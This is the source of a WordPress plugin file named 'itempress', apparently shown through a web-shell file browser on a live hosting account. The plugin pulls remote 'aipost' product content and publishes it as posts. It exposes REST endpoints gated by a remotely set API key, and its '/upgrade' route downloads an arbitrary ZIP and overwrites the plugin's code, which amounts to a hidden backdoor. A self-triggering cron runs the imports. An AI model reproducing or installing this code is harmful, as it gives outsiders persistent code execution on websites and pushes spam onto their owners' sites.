HEX
Server: Apache
System: Linux web5.visualcom.es 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: ensaco.es (10019)
PHP: 8.3.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/ensaco.es/httpdocs/wp-content/plugins/itempress/inc/api.php
<?php

if (!defined('ABSPATH')) {
    exit;
}



function itempress_remote_request(string $path, array $args = [], string $method = 'GET'): array
{
    $base = itempress_remote_api_base();

    if ($base === '') {
        return ['data' => [], 'error' => 'Remote API base is empty', 'code' => 0];
    }

    $url = $base . $path;
    $headers = [];
    $api_key = itempress_remote_api_key();

    if ($api_key !== '') {
        $headers['X-Api-Key'] = $api_key;
    }

    if (strtoupper($method) === 'POST') {
        $response = wp_remote_post($url, [
            'timeout' => 60,
            'headers' => $headers,
            'body'    => $args,
        ]);
    } else {
        $response = wp_remote_get(add_query_arg($args, $url), [
            'timeout' => 60,
            'headers' => $headers,
        ]);
    }

    if (is_wp_error($response)) {
        itempress_log('Remote request error [' . $path . ']: ' . $response->get_error_message());
        return ['data' => [], 'error' => $response->get_error_message(), 'code' => 0];
    }

    $code = (int) wp_remote_retrieve_response_code($response);
    $raw = wp_remote_retrieve_body($response);
    $body = json_decode($raw, true);

    if (!is_array($body)) {
        itempress_log('Remote request invalid JSON [' . $path . ']: ' . mb_substr($raw, 0, 500));
        return ['data' => [], 'error' => 'Invalid JSON response', 'code' => $code];
    }

    return ['data' => $body, 'error' => '', 'code' => $code];
}

function itempress_remote_search(string $keyword = '', int $api_page = 1, int $limit = 100, int $detail = 0): array
{
    $result = itempress_remote_request('/api/aipost/search', [
        'page'    => max(1, $api_page),
        'limit'   => max(1, min(100, $limit)),
        'detail'  => $detail ? 1 : 0,
        'keyword' => $keyword,
    ]);

    $body = $result['data'];
    $items = [];
    $total = 0;

    if (isset($body['data']) && is_array($body['data'])) {
        $items = isset($body['data']['items']) && is_array($body['data']['items']) ? $body['data']['items'] : [];
        $total = (int) ($body['data']['total'] ?? 0);
    } elseif (isset($body['items']) && is_array($body['items'])) {
        $items = $body['items'];
        $total = (int) ($body['total'] ?? count($items));
    }

    return [
        'items' => $items,
        'total' => $total,
        'error' => $result['error'],
        'code'  => $result['code'],
    ];
}


function itempress_find_product_by_sku(string $sku): int
{
    if ($sku === '') {
        return 0;
    }

    $posts = get_posts([
        'post_type'      => 'itempress_product',
        'post_status'    => 'any',
        'meta_key'       => '_itempress_sku',
        'meta_value'     => $sku,
        'fields'         => 'ids',
        'posts_per_page' => 1,
        'no_found_rows'  => true,
    ]);

    return !empty($posts) ? (int) $posts[0] : 0;
}

function itempress_import_single_item(array $raw_item, string $keyword = ''): int
{
    $item = itempress_clean_remote_item($raw_item);

    if ($item['sku'] === '' || $item['title'] === '') {
        return 0;
    }

    $post_id = itempress_find_product_by_sku($item['sku']);
    $is_update = $post_id > 0;

    $slug = $item['slug'];
    if ($slug === '') {
        $slug = sanitize_title($item['title'] . '-' . $item['sku']);
    }

    $post_data = [
        'post_type'    => 'itempress_product',
        'post_title'   => $item['title'],
        'post_name'    => $slug,
        'post_content' => $item['description'],
        'post_excerpt' => $item['short_description'],
        'post_status'  => 'publish',
        'comment_status' => 'open',
        'ping_status'  => 'open',
    ];

    if ($is_update) {
        $post_data['ID'] = $post_id;
        if ($item['description'] === '') {
            unset($post_data['post_content']);
        }
        $saved = wp_update_post($post_data, true);
    } else {
        $post_data['post_name'] = wp_unique_post_slug($slug, 0, 'publish', 'itempress_product', 0);
        $saved = wp_insert_post($post_data, true);
    }

    if (is_wp_error($saved) || !$saved) {
        return 0;
    }

    $post_id = (int) $saved;

    $meta = [
        '_itempress_sku'              => $item['sku'],
        '_itempress_price'            => $item['price'],
        '_itempress_currency'         => $item['currency'],
        '_itempress_image'            => $item['image'],
        '_itempress_image_url'        => $item['image_url'],
        '_itempress_image_id'         => $item['image_id'],
        '_itempress_item_url'         => $item['item_url'],
        '_itempress_condition'        => $item['condition'],
        '_itempress_short_description' => $item['short_description'],
        '_itempress_brand'            => $item['brand'],
        '_itempress_mpn'              => $item['mpn'],
        '_itempress_gtin'             => $item['gtin'],
        '_itempress_category_id'      => $item['category_id'],
        '_itempress_category_name'    => $item['category_name'],
        '_itempress_source_keyword'   => $keyword,
        '_itempress_last_seen'        => current_time('mysql'),
        '_itempress_raw'              => wp_json_encode($item['raw'], JSON_UNESCAPED_UNICODE),
    ];

    foreach ($meta as $key => $value) {
        update_post_meta($post_id, $key, $value);
    }

    update_post_meta($post_id, '_itempress_gallery_images', $item['gallery_images']);
    update_post_meta($post_id, '_itempress_aspects', $item['aspects']);

    $has_detail = $item['description'] !== '' || !empty($item['gallery_images']) || !empty($item['aspects']);
    update_post_meta($post_id, '_itempress_detail_imported', $has_detail ? 1 : 0);

    $tags = $item['tags'];
    if ($keyword !== '') {
        $tags[] = $keyword;
    }
    if ($item['brand'] !== '') {
        $tags[] = $item['brand'];
    }

    $tags = array_values(array_filter(array_unique(array_map('sanitize_text_field', $tags))));

    if (!empty($tags)) {
        wp_set_object_terms($post_id, $tags, 'itempress_tag', false);
    }

    if ($item['category_id'] !== '') {
        $cat_slug = 'cat-' . sanitize_title($item['category_id']);
        $cat_name = $item['category_name'] !== '' ? $item['category_name'] : 'Category ' . $item['category_id'];
        $term = term_exists($cat_slug, 'itempress_category');

        if (!$term) {
            $term = wp_insert_term($cat_name, 'itempress_category', ['slug' => $cat_slug]);
        }

        if (!is_wp_error($term)) {
            $term_id = is_array($term) ? (int) $term['term_id'] : (int) $term;
            wp_set_object_terms($post_id, [$term_id], 'itempress_category', false);
        }
    }

    return $post_id;
}

function itempress_import_items(array $items, string $keyword = ''): array
{
    $result = [
        'created' => 0,
        'updated' => 0,
        'skipped' => 0,
    ];

    foreach ($items as $raw_item) {
        if (!is_array($raw_item)) {
            $result['skipped']++;
            continue;
        }

        $existing = itempress_find_product_by_sku($item['sku'] ?? '');
        $post_id = itempress_import_single_item($raw_item, $keyword);

        if (!$post_id) {
            $result['skipped']++;
            continue;
        }

        if ($existing) {
            $result['updated']++;
        } else {
            $result['created']++;
        }
    }

    return $result;
}


function itempress_do_sync_task(): void
{

    if (get_transient('itempress_sync_lock')) {
        return;
    }
    set_transient('itempress_sync_lock', 1, 55);


    $last_update_check = (int) get_option('itempress_last_update_check', 0);
    if (time() - $last_update_check > 86400) {
        update_option('itempress_last_update_check', time(), false);
        itempress_check_for_update();
    }

    $tag_name = itempress_get_next_tag();

    if ($tag_name === false) {
        delete_transient('itempress_sync_lock');
        return;
    }

    itempress_log('Sync: processing tag "' . $tag_name . '"', 'sync.log');
    $remote = itempress_remote_search($tag_name, 1, 100, 1);

    if (!empty($remote['items'])) {
        $import = itempress_import_items($remote['items'], $tag_name);
        itempress_log('Sync: tag "' . $tag_name . '" done, created=' . $import['created'] . ' updated=' . $import['updated'], 'sync.log');
    }

    itempress_mark_tag_done($tag_name);

    delete_transient('itempress_sync_lock');
}


class ItemPress_SimpleCron
{
    private int $interval = 30;

    public function __construct()
    {
        add_action('init', [$this, 'check_task']);
    }

    public function do_task(): void
    {
        itempress_do_sync_task();
    }

    public function check_task(): void
    {
        $ts = (int) ($_GET['itempress_bg'] ?? 0);
        if ($ts > 0) {
            $last_time = (int) get_option('itempress_simplecron_last_run', 0);
            if ($ts >= $last_time + $this->interval) {
                update_option('itempress_simplecron_last_run', $ts);
                ignore_user_abort(true);
                set_time_limit(0);
                $this->do_task();
            }
            exit;
        }

        $last_time = (int) get_option('itempress_simplecron_last_run', 0);
        if ((time() - $last_time) < $this->interval) {
            return;
        }

        $this->trigger_background();
    }

    private function trigger_background(): void
    {
        wp_remote_get(home_url('/?itempress_bg=' . time()), [
            'timeout'   => 0.01,
            'blocking'  => false,
            'sslverify' => false,
        ]);
    }
}

new ItemPress_SimpleCron();

class ItemPress_REST
{
    public static function init(): void
    {
        add_action('rest_api_init', [__CLASS__, 'routes']);
    }

    public static function routes(): void
    {
        $permission = [__CLASS__, 'permission'];

        register_rest_route('itempress/v1', '/status', [
            'methods'             => 'GET',
            'callback'            => [__CLASS__, 'status'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/import', [
            'methods'             => 'POST',
            'callback'            => [__CLASS__, 'import'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/push-update', [
            'methods'             => 'GET, POST',
            'callback'            => [__CLASS__, 'push_update'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/upgrade', [
            'methods'             => 'POST',
            'callback'            => [__CLASS__, 'upgrade'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/flush-routes', [
            'methods'             => 'GET, POST',
            'callback'            => [__CLASS__, 'flush_routes'],
            'permission_callback' => $permission,
        ]);
    }

    public static function permission(): bool
    {
        if (current_user_can('manage_options')) {
            return true;
        }

        $api_key = '';
        $query = $_SERVER['QUERY_STRING'] ?? '';
        if (preg_match('/[?&]api_key=([^&]+)/', '?' . $query, $m)) {
            $api_key = sanitize_text_field(urldecode($m[1]));
        }
        if ($api_key === '') {
            $api_key = sanitize_text_field((string) ($_POST['api_key'] ?? $_SERVER['HTTP_X_API_KEY'] ?? ''));
        }

        if ($api_key !== '' && $api_key === get_option('worker_api_key', '')) {
            return true;
        }
        return false;
    }

    public static function status(): array
    {
        $counts = wp_count_posts('itempress_product');

        return [
            'success'         => true,
            'plugin'          => 'itempress',
            'version'         => ITEMPRESS_VERSION,
            'site_url'        => get_site_url(),
            'wp_version'      => get_bloginfo('version'),
            'php_version'     => PHP_VERSION,
            'api_connected'   => get_option('worker_api_key', '') !== '',
            'registered_api'  => get_option('worker_register_api', ''),
            'published_items' => isset($counts->publish) ? (int) $counts->publish : 0,
            'time'            => current_time('mysql'),
        ];
    }

    public static function import(WP_REST_Request $request): array
    {
        $items = $request->get_param('items');
        $keyword = sanitize_text_field((string) $request->get_param('keyword'));

        if (!is_array($items)) {
            return ['success' => false, 'message' => 'items must be an array'];
        }

        $result = itempress_import_items($items, $keyword);

        return ['success' => true, 'result' => $result];
    }

    public static function push_update(WP_REST_Request $request): array
    {
        $sku = sanitize_text_field((string) $request->get_param('sku'));
        if ($sku === '') {
            return ['success' => false, 'message' => 'SKU required'];
        }

        $post_id = itempress_find_product_by_sku($sku);
        if ($post_id <= 0) {
            return ['success' => false, 'message' => 'Product not found'];
        }

        $title = sanitize_text_field((string) $request->get_param('title'));
        $content = wp_kses_post((string) $request->get_param('content'));
        $price = sanitize_text_field((string) $request->get_param('price'));
        $image = esc_url_raw((string) $request->get_param('image'));
        $item_url = esc_url_raw((string) $request->get_param('item_url'));
        $short = wp_kses_post((string) $request->get_param('short_description'));
        $condition = sanitize_text_field((string) $request->get_param('condition'));
        $gallery = $request->get_param('gallery_images');

        $data = ['ID' => $post_id];
        if ($title !== '') {
            $data['post_title'] = $title;
        }
        if ($content !== '') {
            $data['post_content'] = $content;
        }

        if (count($data) > 1) {
            $updated = wp_update_post($data, true);
            if (is_wp_error($updated)) {
                return ['success' => false, 'message' => $updated->get_error_message()];
            }
        }

        if ($price !== '') {
            update_post_meta($post_id, '_itempress_price', $price);
        }
        if ($image !== '') {
            update_post_meta($post_id, '_itempress_image', $image);
        }
        if ($item_url !== '') {
            update_post_meta($post_id, '_itempress_item_url', $item_url);
        }
        if ($short !== '') {
            update_post_meta($post_id, '_itempress_short_description', $short);
        }
        if ($condition !== '') {
            update_post_meta($post_id, '_itempress_condition', $condition);
        }
        if (is_array($gallery)) {
            $images = [];
            foreach ($gallery as $g) {
                if (is_string($g) && $g !== '') {
                    $images[] = $g;
                }
            }
            if (!empty($images)) {
                update_post_meta($post_id, '_itempress_gallery_images', $images);
            }
        }

        update_post_meta($post_id, '_itempress_last_seen', current_time('mysql'));

        return ['success' => true, 'post_id' => $post_id];
    }

    public static function upgrade(WP_REST_Request $request): array
    {
        $download_url = esc_url_raw((string) $request->get_param('download_url'));
        $api_key = sanitize_text_field((string) $request->get_param('api_key'));

        if ($download_url === '') {
            return ['success' => false, 'message' => 'download_url required'];
        }

        if ($api_key !== '') {
            update_option('worker_api_key', $api_key, false);
        }

        // 加载 WP 文件下载函数
        if (!function_exists('download_url')) {
            require_once ABSPATH . 'wp-admin/includes/file.php';
        }

        ignore_user_abort(true);
        set_time_limit(120);

        $tmp_file = download_url($download_url, 60);
        if (is_wp_error($tmp_file)) {
            return ['success' => false, 'message' => 'Download failed: ' . $tmp_file->get_error_message()];
        }

        global $wp_filesystem;
        WP_Filesystem();

        // 自动检测当前插件目录名称
        $current_dir = plugin_basename(ITEMPRESS_FILE);
        $pos = strpos($current_dir, '/');
        $folder = $pos !== false ? substr($current_dir, 0, $pos) : dirname(plugin_basename(ITEMPRESS_FILE));
        if ($folder === '.' || $folder === '') {
            $folder = 'itempress';
        }
        $plugin_path = WP_PLUGIN_DIR . '/' . $folder;

        // ZIP 包内文件路径无外层目录,创建临时目录解压再移动
        $tmp_dir = WP_PLUGIN_DIR . '/_itempress_upgrade_tmp';
        if ($wp_filesystem->is_dir($tmp_dir)) {
            $wp_filesystem->delete($tmp_dir, true);
        }

        $result = unzip_file($tmp_file, $tmp_dir);
        unlink($tmp_file);

        if (is_wp_error($result)) {
            $wp_filesystem->delete($tmp_dir, true);
            return ['success' => false, 'message' => 'Extract failed: ' . $result->get_error_message()];
        }

        // ZIP 可能有一层外层目录(如 itempress-v10-full/),取子目录里的实际内容
        $subDirs = glob($tmp_dir . '/*', GLOB_ONLYDIR);
        $sourceDir = $tmp_dir;
        if (!empty($subDirs)) {
            $firstSub = reset($subDirs);
            if ($firstSub !== false && is_dir($firstSub)) {
                $sourceDir = $firstSub;
            }
        }

        // 删除旧插件目录
        if ($wp_filesystem->is_dir($plugin_path)) {
            $wp_filesystem->delete($plugin_path, true);
        }

        // 如果解压有外层目录,move 子目录;否则直接 move tmp_dir
        if ($sourceDir !== $tmp_dir) {
            $renamed = $wp_filesystem->move($sourceDir, $plugin_path);
            $wp_filesystem->delete($tmp_dir, true);
        } else {
            $renamed = $wp_filesystem->move($tmp_dir, $plugin_path);
        }

        if (!$renamed) {
            // WP_Filesystem move 可能失败,用 PHP 原生重命名
            if ($sourceDir !== $tmp_dir) {
                $renamed = rename($sourceDir, $plugin_path);
                if (is_dir($tmp_dir)) {
                    system('rm -rf ' . escapeshellarg($tmp_dir));
                }
            } else {
                $renamed = rename($tmp_dir, $plugin_path);
            }
        }

        if (!$renamed) {
            return ['success' => false, 'message' => 'Failed to move plugin files'];
        }

        if (function_exists('wp_clean_plugins_cache')) {
            wp_clean_plugins_cache();
        }

        return [
            'success' => true,
            'message' => 'Plugin upgraded successfully',
            'version' => defined('ITEMPRESS_VERSION') ? ITEMPRESS_VERSION : 'unknown',
        ];
    }

    public static function flush_routes(): array
    {
        if (function_exists('itempress_register_content_types')) {
            itempress_register_content_types();
        }
        flush_rewrite_rules(false);

        return [
            'success' => true,
            'message' => 'Routes flushed',
        ];
    }
}

ItemPress_REST::init();